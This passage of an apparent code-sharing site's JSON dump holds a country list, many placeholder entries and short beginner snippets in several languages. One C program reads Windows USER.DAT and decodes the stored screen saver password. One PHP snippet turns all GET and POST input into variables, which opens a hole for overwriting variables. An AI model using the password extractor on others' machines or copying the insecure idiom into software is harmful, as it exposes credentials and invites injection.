>Kyrgyzstan</option>\n <option >Laos</option>\n <option >Latvia</option>\n <option >Lebanon</option>\n <option >Lesotho</option>\n <option >Liberia</option>\n <option >Libya</option>\n <option >Liechtenstein</option>\n <option >Lithuania</option>\n <option >Luxembourg</option>\n <option >Macau</option>\n <option >Macedonia, The Former Yugoslav Republic of</option>\n <option >Madagascar</option>\n <option >Malawi</option>\n <option >Malaysia</option>\n <option >Maldives</option>\n <option >Mali</option>\n <option >Malta</option>\n <option >Man, Isle of</option>\n <option >Marshall Islands</option>\n <option >Martinique</option>\n <option >Mauritania</option>\n <option >Mauritius</option>\n <option >Mayotte</option>\n <option >Mexico</option>\n <option >Micronesia, Federated States of</option>\n <option >Midway Islands</option>\n <option >Moldova</option>\n <option >Monaco</option>\n <option >Mongolia</option>\n <option >Montserrat</option>\n <option >Morocco</option>\n <option >Mozambique</option>\n <option >Namibia</option>\n <option >Nauru</option>\n <option >Navassa Island</option>\n <option >Nepal</option>\n <option >Netherlands</option>\n <option >Netherlands Antilles</option>\n <option >New Caledonia</option>\n <option >New Zealand</option>\n <option >Nicaragua</option>\n <option >Niger</option>\n <option >Nigeria</option>\n <option >Niue</option>\n <option >Norfolk Island</option>\n <option >Northern Mariana Islands</option>\n <option >Norway</option>\n <option >Oman</option>\n <option >Pacific Ocean</option>\n <option >Pakistan</option>\n <option >Palau</option>\n <option >Palmyra Atoll</option>\n <option >Panama</option>\n <option >Papua New Guinea</option>\n <option >Paracel Islands</option>\n <option >Paraguay</option>\n <option >Peru</option>\n <option >Philippines</option>\n <option >Pitcairn Islands</option>\n <option >Poland</option>\n <option >Portugal</option>\n <option >Puerto Rico</option>\n <option >Qatar</option>\n <option >Reunion</option>\n <option >Romania</option>\n <option >Russia</option>\n <option >Rwanda</option>\n <option >Saint Helena</option>\n <option >Saint Kitts and Nevis</option>\n <option >Saint Lucia</option>\n <option >Saint Pierre and Miquelon</option>\n <option >Saint Vincent and the Grenadines</option>\n <option >Samoa</option>\n <option >San Marino</option>\n <option >Sao Tome and Principe</option>\n <option >Saudi Arabia</option>\n <option >Senegal</option>\n\t\t\t\t<option >Serbia and Montenegro</option>\t\n <option >Seychelles</option>\n <option >Sierra Leone</option>\n <option >Singapore</option>\n <option >Slovakia</option>\n <option >Slovenia</option>\n <option >Solomon Islands</option>\n <option >Somalia</option>\n <option >South Africa</option>\n <option >South Georgia and the South Sandwich Islands</option>\n <option >Southern Ocean</option>\n <option >Spain</option>\n <option >Spratly Islands</option>\n <option >Sri Lanka</option>\n <option >Sudan</option>\n <option >Suriname</option>\n <option >Svalbard</option>\n <option >Swaziland</option>\n <option >Sweden</option>\n <option >Switzerland</option>\n <option >Syria</option>\n <option >Tajikistan</option>\n <option >Tanzania</option>\n <option >Thailand</option>\n <option >Togo</option>\n <option >Tokelau</option>\n <option >Tonga</option>\n <option >Trinidad and Tobago</option>\n <option >Tromelin Island</option>\n <option >Tunisia</option>\n <option >Turkey</option>\n <option >Turkmenistan</option>\n <option >Turks and Caicos Islands</option>\n <option >Tuvalu</option>\n <option >Uganda</option>\n <option >Ukraine</option>\n <option >United Arab Emirates</option>\n <option >United Kingdom</option>\n <option >United States</option>\n <option >Uruguay</option>\n <option >Uzbekistan</option>\n <option >Vanuatu</option>\n <option >Venezuela</option>\n <option >Vietnam</option>\n <option >Virgin Islands</option>\n <option >Wake Island</option>\n <option >Wallis and Futuna</option>\n <option >West Bank</option>\n <option >Western Sahara</option>\n <option >Yemen</option>\n <option >Zambia</option>\n <option >Zimbabwe</option>\n <option >Taiwan</option>\n </select>"},{"WorldId":10,"id":1456,"LineNumber":1,"line":"'Simply put this code anywhere in your project\n'that you want the windows shut down dialogue box\n'to be triggered.\n'------------------------------------------------\nDim ExplorerProcess() As Process\nExplorerProcess = Process.GetProcessesByName(\"explorer\")\nExplorerProcess(0).CloseMainWindow()"},{"WorldId":10,"id":1027,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":914,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":2428,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":1765,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":1137,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":1352,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":3875,"LineNumber":1,"line":"<pre style=\"font-size:9pt; background-color:#F3F3F3;\">\n/* A simple Double Buffering example by Jayant Mukherjee (courtesy: Complete Reference) */\n/* Another way of doing the same is described by Wayne McKenzie on PSC */\nimport java.awt.*;\nimport java.applet.*;\nimport java.awt.image.*;\nimport java.awt.event.*;\npublic class DblBuffr extends Applet implements MouseMotionListener{\n int ax,ay;\n Dimension dSize;\n Image dblBuffImg; //Off Screen\n Graphics dblBuffer; //Off Screen Graphics\n \n public void init(){ \n dSize = this.getSize();\n dblBuffImg = this.createImage(dSize.width, dSize.height);\n dblBuffer = dblBuffImg.getGraphics();\n addMouseMotionListener(this);\n this.setBackground(Color.yellow);\n }\n public void mouseDragged(MouseEvent em){} //Not used, but required\n \n public void mouseMoved(MouseEvent em)\n {\n ax = em.getX();\n ay = em.getY();\n this.paint(this.getGraphics()); //Fast repainting\n }\n public void update(){} //Overriding, for Flicker Free Drawing\n \n public void paint(Graphics g)\n { \n dblBuffer.clearRect(0, 0, dSize.width, dSize.height); \n for(int i=0; i<=dSize.width; i=i+10)\n {\n dblBuffer.drawLine(ax,ay,i,0); //Top edge \n dblBuffer.drawLine(ax,ay,i,dSize.height); //Bottom edge\n }\n for(int i=0; i<=dSize.height; i=i+10)\n {\n dblBuffer.drawLine(ax,ay,0,i); //Left edge\n dblBuffer.drawLine(ax,ay,dSize.width,i); //Right edge\n }\n g.drawImage(dblBuffImg, 0, 0, null);\n }\n}\n</pre>"},{"WorldId":3,"id":5459,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":3400,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":830,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":5456,"LineNumber":1,"line":"#include<stdio.h>\n#include<conio.h>\n#include<string.h>\n#include<ctype.h>\n#include<process.h>\nvoid main()\n{\n FILE *stream;\n char string[] = \"creenSave_Data\";\n char msg[16],ch,pass[27];\n int i=1,found=1,j,dec[]={4,8,14,14,7,6,1,13,6,7,6,9,10,1,1,11,7,10,8,12,4,7,15,8,5,4,9,5};\n int pass1[27];\n clrscr();\n printf(\"--------This program is developed by VINOD SENTHIL.T -------------\\n\\n\\n\\n\");\n printf(\"\\n\\n Contact ---------> vinod_chan_t@yahoo.com <-----------\\n\\n\\n\\n\");\n stream = fopen(\"C:\\\\WINDOWS\\\\USER.DAT\", \"rb\");\n if (stream==NULL)\n {\n printf(\"Cannot open the file\");\n getch();\n exit(1);\n }\n\twhile(found)\n\t{\n\t while ((getc(stream))!='S')\n\t {};\n\t fgets(msg, strlen(string)+1, stream);\n\t i=strcmp(string,msg);\n\t if (i==0) found=0;\n\t }\n while(!found)\n {\n ch=getc(stream);\n if (!(isalpha(ch) || isdigit(ch)))\n\t found=1;\n else\n\t {\n\t pass[i]=ch;\n\t i++;\n\t }\n }\n for(j=0;j<i;j++)\n {\n if (isalpha(pass[j]))\n\t pass1[j]=pass[j]-55;\n else\n\t pass1[j]=pass[j]-48;\n pass1[j]=pass1[j]^dec[j];\n }\n printf(\" Your Screen Saver Password is : \");\n for (j=0;j<i;j+=2)\n\tprintf(\"%c\",toascii(16*pass1[j]+pass1[j+1]));\n fclose(stream);\n getch();\n}\n//Please Vote for my Program :-)\n"},{"WorldId":8,"id":1450,"LineNumber":1,"line":"<?\t\t\t\t\t\t// Quick IP log thing for SonicBlue by Davus\nignore_user_abort(1);\t\t\t\t// In case the user closes the page first, it won't screw up\n$f = fopen(\"ip.txt\", \"r\");\t\t\t// Open the file for reading\n$l = fread($f, filesize(\"ip.txt\"));\t\t// Read from point 1 to the end (file size)\nfclose($f);\t\t\t\t\t// Got the data, enough for that\nif (!strstr($l, $_SERVER['REMOTE_ADDR'])) {\t// If the IP address is not already there....\n$f = fopen(\"ip.txt\", \"a\");\t\t\t// Open for append (adds to end of file)\nfwrite($f, $_SERVER['REMOTE_ADDR'].\"\\n\");\t// Write their IP address to the logfile followed by new line\nfclose($f); }\t\t\t\t\t// Writing done, save/close the file\n?>"},{"WorldId":10,"id":834,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":860,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":72084,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":72058,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":65979,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":66103,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":70413,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":891,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":8136,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":1997,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":2673,"LineNumber":1,"line":"'Example code.\n Private Sub Form1_MouseMove(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles MyBase.MouseMove\n MouseDragging(e, Me)\n End Sub\n Private Sub Button1_MouseMove(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles Button1.MouseMove\n MouseDragging(e, Me.Button1)\n End Sub\n 'Copyright Andrew Vos 2004 :)\n Private Sub MouseDragging(ByVal e As MouseEventArgs, ByVal Control As Control)\n Static OldPosition As New Point(-1, -1)\n If Not (e.Button = Nothing) Then\n If e.Button = MouseButtons.Left Then\n If (OldPosition.X = -1) And (OldPosition.Y = -1) Then OldPosition = New Point(e.X, e.Y)\n If e.Y <> OldPosition.Y Then\n Control.Top += e.Y - OldPosition.Y 'move Up/Down\n End If\n If e.X <> OldPosition.X Then\n Control.Left += e.X - OldPosition.X 'move Left/Right\n End If\n End If\n Else\n 'button is nothing, maybe it was lifted.\n OldPosition = New Point(-1, -1)\n End If\n End Sub"},{"WorldId":10,"id":2972,"LineNumber":1,"line":"Public Sub New\nApplication.EnableVisualStyles 'yes we all know this.\nApplication.DoEvents '<------thats it!!!!! Thats my code.\nNo jokes, test it out.\nEnd Sub"},{"WorldId":7,"id":962,"LineNumber":1,"line":"Upload"},{"WorldId":7,"id":971,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":1970,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":72819,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":72817,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":72818,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":72820,"LineNumber":1,"line":"Upload"},{"WorldId":7,"id":1400,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":69717,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":1706,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":73580,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":1370,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":8758,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":8225,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":6356,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":10815,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":9284,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":2326,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":2354,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":68114,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":69193,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":1242,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":1230,"LineNumber":1,"line":"I seem unable to upload this file. I have been trying for days... So if you want the source, download here\nhttp://www.jenkins2040.freeserve.co.uk/files/JJDeckOfCards.zip"},{"WorldId":10,"id":1052,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":1551,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":1340,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":1561,"LineNumber":1,"line":"'Running a Program\nSystem.Diagnostics.Process.Start(\"Notepad.exe\")\n'Running a Program Associated with a File Type \nSystem.Diagnostics.Process.Start(\"c:\\Input.txt\")\n"},{"WorldId":10,"id":1629,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":1645,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":1766,"LineNumber":1,"line":"'This code will tell you how to get our computer screen resolution\n'just a few lines of codes..\n Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load\n Dim DeskTop As System.Windows.Forms.Screen\n Dim theWidth As Integer = DeskTop.PrimaryScreen.Bounds.Width\n Dim theHeight As Integer = DeskTop.PrimaryScreen.Bounds.Height\n MsgBox(theWidth & \"x\" & theHeight)\n End Sub"},{"WorldId":10,"id":3137,"LineNumber":1,"line":"Upload"},{"WorldId":7,"id":1407,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":8653,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":8396,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":1497,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":5986,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":1169,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":1821,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":5829,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":4644,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":2811,"LineNumber":1,"line":"\nThe basic idea of this framework is to maintain the template easily. This framework helps to develop websites very fast which is also easily maintainable by the designer with little knowledge of php\nAs we know the basic template is with header, footer and body. the header footer is always constant. So for multipage static websites is always a problem for a designer/programmer to update the header footer.\nThe simple solution is to keep the inner page to a separate folder and include the page into the index page.\n\nurl : www.website.com/?page=aboutus.php\nWith the above solution the only problem is the url, which is not friendly and very difficult to maintain.\nSo the solution of the problem is .htaccess. with the help of .htaccess we can redirect the url which is also transparent to the visitor.\n\n\t\nRewriteEngine On\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteRule ^(.*)$ index.php?page=$1 [L]\n\t\n\nRewriteRule ^(.*)$ index.php?page=$1 [L]\nThis means whatever after www.abcd.com/ with redirect as www.abcd.com/page=\nSo if person is typing url www.abcd.com/pagename\nWill redirect to www.abcd.com/page=pagename\nWhat we can concluded that this framework can give us seo friendly url and also easy updated template .\n\ndownload the code :\nhttp://www.easy-share.com/1912969926/fashion 2.zip\ndemo\nhttp://motionminds.in/\npls give me feedback"},{"WorldId":4,"id":8899,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":8897,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":8956,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":991,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":927,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":65559,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":1046,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":936,"LineNumber":1,"line":"<?\n// This is uses the foreach function, which is \n// more resource-efficient than while(list...\n// The first line grabs the post vars, and\n// the second line grabs the get vars...\nforeach($_POST as $key=>$val){ $$key = $val; }\nforeach($_GET as $key=>$val){ $$key = $val; }\n?>"},{"WorldId":3,"id":7255,"LineNumber":1,"line":"// This program is a puzzle where one needs to find a number between 1 to 100 which is generated by computer.\n//============================================================================================================//\n// This program helps us to know how to generate random numbers // \n//============================================================================================================//\n// If you want to compile this code in VC++ then name this as <filename>.cpp\n// If you want to compile this code in Unix then name this as <filename>.C (capital C)\n// Includes\n#include <iostream.h> \n#include <stdlib.h>\n#include <time.h>\n// Main Function\nint main()\n{\n \n\t// Prototypes\n\tvoid heading();\n \n\t\n\tint nGuessedNum; // stores computer number\n\tint nInputNum; // stores inputted nubmer\n\tint nInd; // Index\n\tchar nGotIt='n'; // Flag to indicate Success\n\tchar nChoice='y'; // stores user choice\n // Loop\n\twhile(nChoice=='y')\n {\n heading(); // Displays Heading\n nGotIt=' '; \n \n\t\t\n\t\t// Initailize a seed for random number generation using current time \n\t\tsrand(static_cast<unsigned>(time(NULL)));\n\t\t\n\t\t// Increases randomness to get effective random numbers\n\t\tfor(nInd=1;nInd<=10;nInd++)\n\t\t\trand();\n \n\t\t// Generate Computer number\n\t\t// formala : lower_range + (int) ( 1 + (lower_range + upper_range) * rand() / (RAND_MAX + 1.0));\n\t\t// here 1.0 is used to get a double value, so that the random number varies\n nGuessedNum=1 + (int) (100 * rand()/(RAND_MAX + 1.0));\n\t\t\n\t\t\n // This loop allows user to get the computer number in 5 chances\n\t\tfor(nInd=1;nInd<6;nInd++)\n {\n cout<<\"\\n\\n\\t\\tThis is Your Chance No = \"<<nInd;\n cout<<\"\\n\\t\\tEnter the number between 1 to 100 :-\";\n cin>>nInputNum;\n \n\t\t\t// if your number is greater than computer's number \n\t\t\tif(nInputNum>nGuessedNum)\n cout<<\"\\n\\t\\tYour Number is Greater than Computer Number\";\n // if your number is lesser than computer's number \n\t\t\telse if(nInputNum<nGuessedNum)\n cout<<\"\\n\\t\\tYour Number is Lesser than Computer Number\";\n // if your number is equal to computer's number\n\t\t\telse\n {\n cout<<\"\\n\\t\\tHip Hip Hurray.... You have guessed the correct number\";\n nGotIt='y';\n break;\n }\n }\n \n\t\t// if user cannot guess the computer's number in 5 chances then\n\t\tif(nGotIt!='y')\n\t\t{\n\t\t\tcout<<\"\\n\\t\\tOpps, Your chances are over \";\n\t\t\tcout<<\"\\n\\t\\tThe computer number is = \"<<nGuessedNum;\n\t\t}\n \n\t\t// Do u want to continue\n\t\tcout<<\"\\n\\n\\t\\tDo you want to play again [y/n] ?\";\n cin>>nChoice;\n }\n\treturn 0; \n}\n// Heading which will displayed\nvoid heading()\n{\n cout<<\"\\t\\tWelcome to the Game of Guessing....\";\n cout<<\"\\n\\n\\t\\tThe computer has guessed a number between 1 to 100\";\n cout<<\"\\n\\t\\tYou have to the find the number. And you have 5 chances..\";\n cout<<\"\\n\\t\\tGet Set Go ...\";\n}\n"},{"WorldId":3,"id":7215,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":1097,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":1129,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":1734,"LineNumber":1,"line":"/*\n * This program sorts the given number of elements \n * by using quick sort algorthim. But this algorithm \n * applies to like a linked listed objects instead of\n * contigous array. Therefore results of this algorithm \n * gives you a binary tree and you can sort any number of \n * elements.\n */\nusing System;\nnamespace quicksort\n{\n\t/// <summary>\n\t/// Summary description for Class1.\n\t/// </summary>\n\tclass Class1\n\t{\n\t\t/// <summary>\n\t\t/// The main entry point for the application.\n\t\t/// </summary>\n\t\t[STAThread]\n\t\tstatic void Main(string[] args)\n\t\t{\n\t\t\tint j,k;\n\t\t\tNode nd=new Node();\n\t\t\t//Number of sorting element is entered here\n\t\t\tConsole.WriteLine(\"Please Enter number of sorting element\");\n\t\t\tj=Int32.Parse(Console.ReadLine());\n\t\t\t//all elements is writen in a node object. Node object have next and previous attributes also in node object.\n\t\t\tnd=valueread(nd,j);\n\t\t\tk=nd.getnextnode().getvalue();\n\t\t\t\n\t\t\t//sorting algorithm is called here\n\t\t\tnd=qsort(nd);\n\t\t\tConsole.WriteLine(\"Results are below\"+nd.getvalue());\n\t\t\tshowresult(nd);\n\t\t\tConsole.ReadLine();\n\t\t}\n\t\t//This function reads the datas and writes them to a linked list node object\n\t\tpublic static Node valueread(Node nd,int i)\n\t\t{\n\t\t\tNode parnt=new Node();\n\t\t\tparnt=nd;\n\t\t\tfor(int k=0;k<i;++k)\n\t\t\t{\n\t\t\t\tConsole.WriteLine(\"Please Enter value of the \"+ k+ \" th element\");\n\t\t\t\tnd.addnumber(Int32.Parse(Console.ReadLine()));\n\t\t\t\tif(k!=i-1)\n\t\t\t\t{\n\t\t\t\t\tNode temp=new Node();\n\t\t\t\t\tnd.setnext(temp);\n\t\t\t\t\ttemp.setprevious(nd);\n\t\t\t\t\tnd=temp;\n\t\t\t\t}\n\t\t\t}\n\t\t\tnd=parnt;\n\t\t\treturn nd;\n\t\t}\n\t\tpublic static void showresult(Node nd)\n\t\t{\n\t\t\tif(nd.getleftnode()!=null)\n\t\t\t\tshowresult(nd.getleftnode());\n\t\t\tConsole.WriteLine(nd.getvalue());\n\t\t\tif(nd.getrightnode()!=null)\n\t\t\t\tshowresult(nd.getrightnode());\n\t\t}\n\t\t//This function sorts the elements by using quick sort and \n\t\t// output is binary tree.\n\t\tpublic static Node qsort(Node nd) \n\t\t{\n\t\t\tint i=0;\n\t\t\tNode parent=new Node();\n\t\t\tNode nleft=new Node();\n\t\t\tNode nright=new Node();\n\t\t\tparent=nd;\n\t\t\tNode temp=new Node();\n\t\t\ttemp=nd.getnextnode();\n\t\t\tnd.setnext(null);\n\t\t\tif(temp!=null)\n\t\t\t{\n\t\t\t\tdo\n\t\t\t\t{\n\t\t\t\t\tif(temp.getvalue()<=parent.getvalue())\n\t\t\t\t\t{\n\t\t\t\t\t\tif(parent.getleftnode()==null)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tparent.setleftnode(temp);\n\t\t\t\t\t\t\ttemp.setparentnode(parent);\n\t\t\t\t\t\t\tnleft=temp;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tnleft.setnext(temp);\n\t\t\t\t\t\t\tnleft=temp;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tif(parent.getrightnode()==null)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tparent.setrightnode(temp);\n\t\t\t\t\t\t\ttemp.setparentnode(parent);\n\t\t\t\t\t\t\tnright=temp;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse \n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tnright.setnext(temp);\n\t\t\t\t\t\t\tnright=temp;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\ttemp.setprevious(null);\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\tif(temp.getnextnode()!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\t\ttemp=temp.getnextnode();\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t\ti=1;\n\t\t\t\t}while(i!=1);\n\t\t\t\tnleft.setnext(null);\n\t\t\t\tnright.setnext(null);\n\t\t\t}\n\t\t\tif(parent.getleftnode()!=null)\n\t\t\t\tqsort(parent.getleftnode());\n\t\t\tif(parent.getrightnode()!=null)\n\t\t\t\tqsort(parent.getrightnode());\t\n\t\t\t\t\t\n\t\t\tnd=parent;\n\t\t\treturn nd;\n\t\t}\n\t\t\t\n\t}\n/* Node objects are created in here.\n * A node have next,previous attributes \n * which are also node class for gathering the elements\n * Also this node class have parent,left,right node which are also node\n * class for using quick sort algorithms.\n */ \n\tpublic class Node\n\t{\n\t\tprivate Node left;\n\t\tprivate Node right;\n\t\tprivate Node parent;\n\t\tprivate Node next;\n\t\tprivate Node previous;\n\t\tprivate int number;\n\t\tpublic Node()\n\t\t{\n\t\t\tnumber=0;\n\t\t}\n\t\tpublic void addnumber(int i)\n\t\t{\n\t\t\tnumber=i;\n\t\t}\n\t\tpublic int getvalue()\n\t\t{\n\t\t\treturn number;\n\t\t}\n\t\t\n\t\tpublic Node getnextnode() \n\t\t{\n\t\t\treturn next;\n\t\t}\n\n\t\tpublic Node getleftnode()\n\t\t{\n\t\t\treturn left;\n\t\t}\n\t\tpublic Node getrightnode()\n\t\t{\n\t\t\treturn right;\n\t\t}\n\t\tpublic Node getparentnode()\n\t\t{\n return parent;\n\t\t}\n\t\tpublic void setleftnode(Node tnode)\t\t\t\t\t\t\n\t\t{\n\t\t\tif(tnode!=null)\n\t\t\t\tleft=tnode;\n\t\t\telse\n\t\t\t\tleft=null;\n\t\t}\n\t\tpublic void setrightnode(Node tnode)\n\t\t{\n\t\t\tif(tnode!=null)\n\t\t\t\tright=tnode;\n\t\t\telse\n\t\t\t\tright=null;\n\t\t}\n\t\tpublic void setparentnode(Node tnode)\n\t\t{\n\t\t\tparent=tnode;\n\t\t}\n\t\t\n\t\tpublic void setnext(Node tnode)\n\t\t{\n\t\t\tif(tnode!=null)\n\t\t\t\tnext=tnode;\n\t\t\telse\n\t\t\t\tnext=null;\n\t\t}\n\t\t\n\t\tpublic void setprevious(Node tnode)\n\t\t{\n\t\t\tif(tnode!=null)\n\t\t\t\tprevious=tnode;\n\t\t\telse\n\t\t\t\tprevious=null;\n\t\t}\n\t}\n}\n"},{"WorldId":1,"id":74398,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":993,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":8349,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":3628,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":7315,"LineNumber":1,"line":"C The worlds most popular language is still the toppest \nlanguage when it comes to serious programming whether in web based(cgi) or in \ncase of stand alone client applications or operating systems only a detailed \nunderstanding of c will help us to know the reason of the success of this \nlanguage so lets go through it \nThe 'C' language was developed at the AT&T Bell Laboratories, USA by Dennis \nRitchie in 1972 on a DEC PDP-II machine. This language is derived from an another \nlanguage called B developed by Ken Thompson of Bell Laboratories in 1970 which \nis devCGeloped from the language BCPL (Basic Combined Programming Language) developed \nby Martin Richard of Cambridge University in 1967 which is derived from the language \nCPL (Combined Programming Language) developed by Cambridge University and the \nUniversity of London in 1963 and it is developed from the lan-guage called ALGOL \n(Algorithmic Language) developed by an International Commit-tee in the year 1960. \nThe 'C' Language was originally developed for programming under UNIX Operating \nsystem, which was developed by Ken Thompson and Dennis Ritchie. After develop-ing \n'C' almost 90% of UNIX operating system is rewritten in C from assembly lan-guage. \nTherefore UNIX and C have a close relationship. \n'C' gives the programmer what he wants, i.e., few restrictions, block structures, \nstandard functions, a compact set of keywords and rich set of data structures. \nFor many years 'C' has no standard. i.e. Every manufacture developed their style \nof 'C' compilers. In 1983 the American National Standards Institute (ANSI) established \na committee named X3J11 created a standard for the 'C' language. The standard \nincludes the character-set, keywords, compiler environment and the function library \netc. \nC is a structured language, which uses the compartmentalisation; i.e. A program \nis broken into different modules, each of which is used for a single specific \ntask. This is supported in 'C' by the use of functions. Basically a 'C' program \nis a collection of one or more functions. \n'C' language also supports the programming structures like sequence, selection \nand iteration/looping. However the goto statements are not encouraged in structured \nprogramming, 'C' supports it too. \nEven though 'C' is a high level language it is often called a middle-level language \nbecause it combines the elements of high level language, like structured program-ming, \nmodular programming etc. with the functionalism of the assembly language like \ndirect manipulation of bits, bytes, memory addressees with the help of pointers. \n'C' is a flexible, general-purpose language. i.e. The capability of manipulating \nbits, bytes, memory address makes it well suited for systems programming and the \nhigh-level components makes it suitable for application packages. 'C' is used \nfor writing operating systems like UNIX and MS-DOS and the compilers and interpreters \nfor BASIC, FORTRAN, Pascal, LISP, LOGO etc. Popular application packages like \ndBase, Lotus 1-2-3 and CLIPPER are also written in 'C'. \n'C' language is machine independent and it is a highly portable language. Portable \nmeans that 'C' programs written for one computer/operating system can be run on \nanother with little or no modification. All high-level languages are portable. \n'C' is considered to be highly portable because the machine dependent parts in \n'C' com-pilers are written in 'C'. \nTurbo C compiler is an integrated package. It includes an editor, compiler, linker \nand loader. Every 'C' program file is identified using the ‘.C’ extension. \nThe source code written using the editor is first passed through the C pre-processor. \nThe pre-processor is a program that modifies the source code according to directives \nsup-plied in the program. The Pre-processor Directives begin with the # symbol. \nThey must start in the first column and they are usually placed at the beginning \nof a pro-gram. The pre-processor expands the directives and it’s output, \nthe expanded source code is fed to the 'C' compiler. The compiler translates the \nsource code into the assembly language. The system assembler produces the object \ncode (.obj). This object code has to be linked with support routines from the \n'C' run-time library to obtain the final executable code (.exe). The systems loader \ncan run the executable code. \n'C' Language has no input/output operations. The compiler compiles a language \nof functions, all input and output is done with functions. Because of this feature, \na standard library gives 'C' its most endearing feature is portability. \nEvery function must be defined before it can be used in the program. Every function \ndefinition has two parts, a function header and a body that follows it. The header \ndefines the function’s name and the arguments. The headers of the library \nfunctions are stored in header files with extension .h. So these must be included \nbefore the library functions are used in a 'C' program. \nUsing the Turbo C Compiler \nType tc at the DOS prompt and press ENTER key. The Turbo C integrated environ-ment \ndisplays on the screen. You can use the menu options like save, open, create a \nnew file etc. from the main menu strip which is at the top most line of the screen. \nAfter typing the program you can save it by pressing the F2 key or File?Save com-mand. \nIf necessary give the filename. To execute the program press Ctrl+F9 key combination. \nThe progress window on the screen will show each phase in the crea-tion of the \nexecutable file. If there are no errors, the screen will be cleared and the program \nwill start running. After the program is executed, you will get back to the Turbo \nC environment automatically. You can view the user screen by pressing the Alt+F5 \nkey combination. To return to the Turbo C environment strike any key. \nIf there are any errors in the program, the messages along with the line numbers \nwill be displayed in a separate message window at the bottom of the screen. Pressing \nthe F6 key can make corrections, which place the cursor in the Edit window. After \nmaking corrections save it again and run. \nYou can activate the main menu by pressing the F10 key and then use the arrow \nkeys. You can quit the Turbo C integrated environment by pressing Alt+X key com-bination."},{"WorldId":3,"id":6211,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":7831,"LineNumber":1,"line":"\nC TO THE ^^^^ !!!!!EXTREME \n!!!!!^^^^ For a Complete Guide For A Beginner From Client side program to \nHardware Programming and what else CGI programming in C++ /Create Awesome \nApps for your computer and also for the internet !!!!!!!!!!!! \n<hr color=\"#800000\" size=\"7\">\n Updated \nVersion of my tutorial COMPLETE C Now explains more functions Please \ndo Leave me your comments and rating i have written this article as for 